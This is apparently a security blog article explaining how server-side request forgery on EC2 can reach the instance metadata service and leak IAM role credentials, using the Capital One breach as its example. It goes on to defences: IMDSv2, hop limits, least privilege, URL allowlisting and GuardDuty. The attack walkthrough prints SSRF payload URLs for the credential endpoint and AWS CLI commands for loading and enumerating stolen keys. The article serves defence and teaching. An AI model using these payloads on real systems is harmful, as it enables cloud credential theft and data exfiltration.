June 24, 2026
How a Simple SSRF Vulnerability Can Lead to AWS Credential Theft: Understanding EC2 Metadata…
A Scenario That Should Feel Familiar

By Mikail Furkan Alperen
10 min read
A Scenario That Should Feel Familiar
You're reviewing a security finding from a pentest report. It says something like: "Server-Side Request Forgery (SSRF) identified in the document preview endpoint." Medium severity. No direct data access demonstrated.
A few engineers glance at it, note that the application doesn't store anything particularly sensitive, and move on. The ticket goes into the backlog.
In many teams, SSRF findings end up in the backlog because they don't look critical at first glance. The problem is that on EC2, the impact often extends beyond the application itself. When that application is running on an EC2 instance with an attached IAM role, that SSRF isn't medium severity anymore. It's the front door to your AWS environment.
I've seen this pattern more than once. The application-level risk assessment is correct in isolation. The problem is that on EC2, SSRF has a secondary target that most application security tooling doesn't account for: the instance metadata service.
SSRF in Practice
Server-Side Request Forgery is when an attacker can make the server issue HTTP requests on their behalf. Classic example: you have a URL preview feature that takes a user-supplied URL, fetches it server-side, and returns the content. The intent is to fetch https://example.com/image.jpg. The attacker supplies http://169.254.169.254/latest/meta-data/ instead.
That address — 169.254.169.254 — is the key. It's a link-local IP address. Link-local means it's only reachable from within the local network segment. In this context, from within the EC2 instance itself. A request from your laptop to that address will fail. A request from an EC2 instance to that address will succeed and return the instance's own metadata.
The attack flow looks like this:
Attacker
│
│ POST /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role
▼
Web Application (EC2)
│
│ GET http://169.254.169.254/... (outbound, server-side)
▼
EC2 Metadata Service
│
│ Returns: AccessKeyId, SecretAccessKey, Token
▼
Web Application
│
│ Forwards response body back to attacker
▼
Attacker now holds valid AWS credentialsAttacker
│
│ POST /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role
▼
Web Application (EC2)
│
│ GET http://169.254.169.254/... (outbound, server-side)
▼
EC2 Metadata Service
│
│ Returns: AccessKeyId, SecretAccessKey, Token
▼
Web Application
│
│ Forwards response body back to attacker
▼
Attacker now holds valid AWS credentialsThe attack itself is surprisingly simple, and for years it worked reliably until AWS introduced IMDSv2 and changed the default behavior.
Why EC2 Changes the Risk
In a traditional on-prem setup, SSRF is bad but the blast radius is usually bounded. You might reach internal services, maybe expose some configuration files. Annoying. Potentially serious.
In AWS, SSRF has a built-in high-value target that every EC2 instance has: the metadata service. The metadata endpoint at 169.254.169.254 exists on every EC2 instance, by design, and it serves up information that AWS needs to function properly — including temporary IAM credentials.
The problem isn't a bug. It's an architectural feature that was designed before SSRF was well understood as an attack vector. Every EC2 instance gets automatic access to this endpoint. No authentication required in the original design. Any process running on the instance — including an exploited web application — can query it freely.
This is one of those AWS features many people use without fully understanding why it exists. The metadata service is how EC2 instances bootstrap themselves. It's how they know what IAM role they have, what region they're in, what user data scripts to run. It's essential infrastructure. The problem was the complete absence of access controls around it.
Inside the EC2 Metadata Service
The Instance Metadata Service (IMDS) lives at http://169.254.169.254 and responds to HTTP GET requests. No TLS. No authentication (in v1). Just plain HTTP on a link-local address.
The path structure is hierarchical:
GET http://169.254.169.254/latest/meta-data/GET http://169.254.169.254/latest/meta-data/Returns a list of available metadata categories:
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
...ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
...Drilling into the IAM subtree:
GET http://169.254.169.254/latest/meta-data/iam/GET http://169.254.169.254/latest/meta-data/iam/Returns:
info
security-credentials/info
security-credentials/And then:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/GET http://169.254.169.254/latest/meta-data/iam/security-credentials/Returns the name of the IAM role attached to the instance. Let's say it's my-ec2-app-role. Now:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-app-roleGET http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-app-roleReturns something like:
{
"Code": "Success",
"LastUpdated": "2024-01-15T10:23:41Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA3EXAMPLE1xxxx",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMxxxxx",
"Token": "IQoJb3JpZ2luX2VjEJr//////////wEaCXVzLWVhc3Q...",
"Expiration": "2024-01-15T16:35:41Z"
}{
"Code": "Success",
"LastUpdated": "2024-01-15T10:23:41Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA3EXAMPLE1xxxx",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMxxxxx",
"Token": "IQoJb3JpZ2luX2VjEJr//////////wEaCXVzLWVhc3Q...",
"Expiration": "2024-01-15T16:35:41Z"
}That's it. Three fields — AccessKeyId, SecretAccessKey, and Token — and you have credentials that work against the AWS API with whatever permissions the role has.
The Temporary Credentials Behind IAM Roles
This trips people up sometimes. The credentials returned by the metadata service are not permanent. They're temporary STS credentials — issued by AWS Security Token Service — and they expire, typically within a few hours. The EC2 instance automatically rotates them before expiration.
But "temporary" doesn't mean "useless to an attacker." A few hours is more than enough time to enumerate IAM permissions, exfiltrate S3 data, or pivot to other services. And an attacker who automates this can continuously re-fetch credentials to maintain access as long as the instance is running.
The credentials come with all three components because STS-issued tokens require all three to authenticate: the AccessKeyId identifies the session, the SecretAccessKey signs requests, and the Token (session token) is required when using temporary credentials. Drop any one of them and authentication fails. But with all three, you authenticate as that IAM role from anywhere — including from your own laptop.
Putting the Pieces Together
Let me make this concrete:
1. Attacker discovers SSRF in document preview endpoint
└─ POST /api/preview {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
2. Application fetches the URL server-side
└─ Returns role name: "prod-api-service-role"
3. Attacker fetches credentials
└─ POST /api/preview {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-api-service-role"}
└─ Returns: AccessKeyId, SecretAccessKey, Token
4. Attacker configures local AWS CLI with stolen credentials
└─ aws configure set aws_access_key_id ASIA...
└─ aws configure set aws_secret_access_key ...
└─ aws configure set aws_session_token IQoJb3...
5. Attacker calls STS to confirm identity
└─ aws sts get-caller-identity
└─ Returns: {"Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/prod-api-service-role/..."}
6. Attacker enumerates permissions
└─ aws s3 ls
└─ aws iam list-attached-role-policies --role-name prod-api-service-role
└─ ... and so on1. Attacker discovers SSRF in document preview endpoint
└─ POST /api/preview {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
2. Application fetches the URL server-side
└─ Returns role name: "prod-api-service-role"
3. Attacker fetches credentials
└─ POST /api/preview {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-api-service-role"}
└─ Returns: AccessKeyId, SecretAccessKey, Token
4. Attacker configures local AWS CLI with stolen credentials
└─ aws configure set aws_access_key_id ASIA...
└─ aws configure set aws_secret_access_key ...
└─ aws configure set aws_session_token IQoJb3...
5. Attacker calls STS to confirm identity
└─ aws sts get-caller-identity
└─ Returns: {"Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/prod-api-service-role/..."}
6. Attacker enumerates permissions
└─ aws s3 ls
└─ aws iam list-attached-role-policies --role-name prod-api-service-role
└─ ... and so onAt step 6, what happens next depends entirely on what permissions prod-api-service-role has. In several production environments, IAM roles end up with broad S3 permissions simply because the application needs access to multiple buckets. In some environments, roles include iam:PassRole, creating an opportunity for privilege escalation if the credentials are compromised. The SSRF is the entry point, but the IAM permissions determine how bad the day gets.
The Capital One Incident
In 2019, Capital One disclosed a breach affecting approximately 100 million customers. The attacker was a former AWS employee. The technical mechanism was a misconfigured WAF on EC2 that allowed SSRF, which was used to reach the metadata service and retrieve IAM credentials.
The role attached to those instances had overly broad permissions — specifically, it could list and download from a large number of S3 buckets that contained customer data.
A few things are worth noting here:
The SSRF wasn't exotic. The WAF had a SSRF-enabling misconfiguration. This isn't some novel attack technique — it's been in OWASP documentation for years.
The credentials from the metadata service gave direct AWS API access. Once the attacker had the role credentials, they didn't need to stay inside the compromised EC2 instance. They made API calls to S3 from wherever they were, exfiltrating data outside of the network perimeter entirely.
The IAM role was over-permissioned. The role needed access to some S3 buckets. It had access to far more than it needed. Least privilege would have contained the blast radius significantly.
The incident directly influenced AWS's decision to make IMDSv2 the eventual default for new instances. The metadata service's lack of authentication had been a known issue, but this breach made it undeniable.
Why IMDSv1 Was Vulnerable by Design
IMDSv1 is stateless and unauthenticated. Any process on the instance sends a GET request to 169.254.169.254 and gets a response. There's no session. No token. No way to distinguish a legitimate request from the application from a request triggered by an attacker through SSRF.
The EC2 instance receives the request, routes it to the metadata service over a local hypervisor channel (not a real network hop), and the response comes back. From the metadata service's perspective, all requests look the same.
This is why SSRF is so effective against IMDSv1. The attacker never needs to compromise the instance directly. They just need to convince the application to make an HTTP request. The rest falls into place.
How IMDSv2 Changed the Game
IMDSv2 introduced session-oriented authentication. Before fetching any metadata, you must first obtain a session token:
PUT http://169.254.169.254/latest/api/token
Headers:
X-aws-ec2-metadata-token-ttl-seconds: 21600
Response: <token_string>PUT http://169.254.169.254/latest/api/token
Headers:
X-aws-ec2-metadata-token-ttl-seconds: 21600
Response: <token_string>Then use that token for subsequent requests:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role
Headers:
X-aws-ec2-metadata-token: <token_string>GET http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role
Headers:
X-aws-ec2-metadata-token: <token_string>Without the X-aws-ec2-metadata-token header, the request either fails (if IMDSv2-only mode is enforced) or falls back to IMDSv1 (if the instance still allows both).
The token exchange uses a PUT request intentionally. Standard browser-based SSRF can't initiate PUT requests as easily as GET requests. More importantly, the token request requires a custom header (X-aws-ec2-metadata-token-ttl-seconds). Many SSRF exploitation vectors don't support setting arbitrary headers on the server-side request.
ATTACKER EC2 APP IMDS
│ │ │
│ SSRF with PUT request │ │
│ ──────────────────────► │ │
│ │ PUT /token │
│ │ ────────────────►│
│ │ ◄────────────────│
│ │ token required │
│ │ │
│ SSRF with GET + token │ │
│ ──────────────────────► │ │
│ │ GET /creds │
│ │ + token header │
│ │ ────────────────►│
│ │ ◄────────────────│
│ │ credentials │
│ ◄──────────────────────│ │ATTACKER EC2 APP IMDS
│ │ │
│ SSRF with PUT request │ │
│ ──────────────────────► │ │
│ │ PUT /token │
│ │ ────────────────►│
│ │ ◄────────────────│
│ │ token required │
│ │ │
│ SSRF with GET + token │ │
│ ──────────────────────► │ │
│ │ GET /creds │
│ │ + token header │
│ │ ────────────────►│
│ │ ◄────────────────│
│ │ credentials │
│ ◄──────────────────────│ │An attacker exploiting a simple SSRF can't easily chain these two steps — especially if the vulnerable code uses a simple HTTP client that doesn't let them control headers or methods. It doesn't make SSRF impossible, but it significantly raises the bar.
Hop Limit and Why It Matters
IMDSv2 also introduced a HttpPutResponseHopLimit configuration for the instance. The default is 1, which means the token response won't be forwarded beyond the first hop.
This is specifically designed to block SSRF from container workloads. If your EC2 instance runs Docker containers, and an attacker achieves SSRF inside a container, they'd need the metadata token response to travel from the metadata service → EC2 instance → container. That's two hops. A hop limit of 1 means the response never reaches the container.
If you increase the hop limit to 2 — which some teams do because they think they need it for container access — you've partially undermined this protection. In most cases, containers should use IAM Roles for Service Accounts (IRSA) or ECS Task Roles, not instance-level metadata directly.
Defense in Depth
No single control eliminates this risk. The right approach layers several controls:
Enforce IMDSv2. This should be non-negotiable for any new EC2 instance. You can set it at the instance level:
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabledaws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabledOr enforce it at the account level via a Service Control Policy (SCP) that denies launching instances without IMDSv2 required. This is the more scalable approach.
Disable IMDSv1 explicitly, don't just enable IMDSv2. Some teams enable IMDSv2 while leaving IMDSv1 as a fallback. That's not enforcement. If --http-tokens is set to optional, IMDSv1 requests still work. Set it to required.
Apply least privilege IAM roles. The metadata service credentials are only as dangerous as the role permits. If a role genuinely needs to read from two S3 buckets, scope its policy to those two buckets with specific resource ARNs. This won't prevent credential theft, but it limits what an attacker can do with them.
Validate user-supplied URLs. At the application level, validate and allowlist URLs before making server-side requests. Reject requests to private IP ranges — 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and critically 169.254.0.0/16. This is the most direct mitigation for SSRF.
Monitor metadata service access with CloudTrail. Requests to IMDS don't show up in CloudTrail directly, but the subsequent use of metadata credentials does. If credentials associated with an EC2 instance role are used from an IP address that isn't the instance itself, GuardDuty will flag it. The finding type is UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration. Enable GuardDuty and don't dismiss this finding type.
Use VPC Flow Logs to detect anomalous traffic to 169.254.169.254. If you're seeing unusual volumes of requests to the metadata address from an instance, it's worth investigating. Normal application behavior doesn't typically involve repeated metadata queries.
WAF rules for SSRF patterns. AWS WAF has managed rules that look for SSRF-typical patterns in request bodies and query parameters. Not a complete solution — attackers can obfuscate the address — but it raises the bar for automated scanners and script kiddies.
Common Misconfigurations in Real Environments
Some patterns come up repeatedly:
Teams that have IMDSv2 "enabled" but not enforced. There's a difference. Check your instance metadata options and confirm http-tokens is required, not optional.
EC2 launch templates and AMIs that were created before IMDSv2 was the default, and never updated. When you launch new instances from an old template, they inherit the old configuration. Audit your templates.
Over-permissioned roles that were created with * resource ARNs "just to get things working" during development, and then never tightened before production. Broad S3 policies using wildcards such as arn:aws:s3:::* are still encountered surprisingly often. Once an attacker has credentials for that role, every S3 bucket in the account is exposed.
Container workloads with hop limit set to 2 "because we needed it once" and never revisited. If your containers don't directly call the metadata service, drop the hop limit back to 1.
Key Takeaways
SSRF and IMDS credential theft is a well-understood attack path. The technical details are publicly documented. The mitigations exist. And yet breaches involving this exact chain continue to happen.
The reason isn't usually lack of knowledge. It's the gap between knowing something is a risk and actually acting on it across every environment, every instance, every launch template. One old AMI. One forgotten EC2 instance in a non-production account that has the same IAM role as production. One application feature where URL validation was skipped because the deadline was close.
The Capital One breach happened because multiple controls that should have existed weren't in place simultaneously. Not because no one had heard of SSRF.
IMDSv2 is now the default for new instances as of 2022. That helps. But "default for new instances" still leaves a lot of existing infrastructure uncovered. A periodic audit of http-tokens: optional instances in your accounts is worth doing — you can do this with AWS Config or a simple CLI query across your organization.
Final Thoughts
The EC2 metadata service is not going away. It's essential to how AWS works. But understanding what it exposes, how IMDSv1's lack of authentication created a systemic vulnerability, and how IMDSv2 addresses that — this is foundational knowledge for anyone running workloads on EC2.
The attack chain from SSRF to credential theft to data exfiltration isn't theoretical. It happened at scale in 2019 and has happened in smaller incidents that never made the news. None of these mitigations are particularly complex to implement. The challenge is consistency: making sure every launch template, every AMI, and every EC2 instance follows the same security baseline.
References
- AWS Documentation — EC2 Instance Metadata Service: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
- AWS Documentation — IMDSv2: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
- AWS Security Blog — Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service: https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/
- AWS Security Blog — IMDSv2 is now available for new Amazon EC2 instances by default: https://aws.amazon.com/blogs/security/imdsv2-now-default-ec2/
- OWASP Server-Side Request Forgery Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
- U.S. Department of Justice — Capital One indictment (technical details): https://www.justice.gov/usao-wdwa/press-release/file/1188626/download
- Capital One Data Breach Notification: https://www.capitalone.com/digital/facts2019/
- AWS Documentation — GuardDuty finding types — InstanceCredentialExfiltration: https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws
- AWS Documentation — SCP example: Require IMDSv2: https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples_ec2.html#example-ec2-imdsv2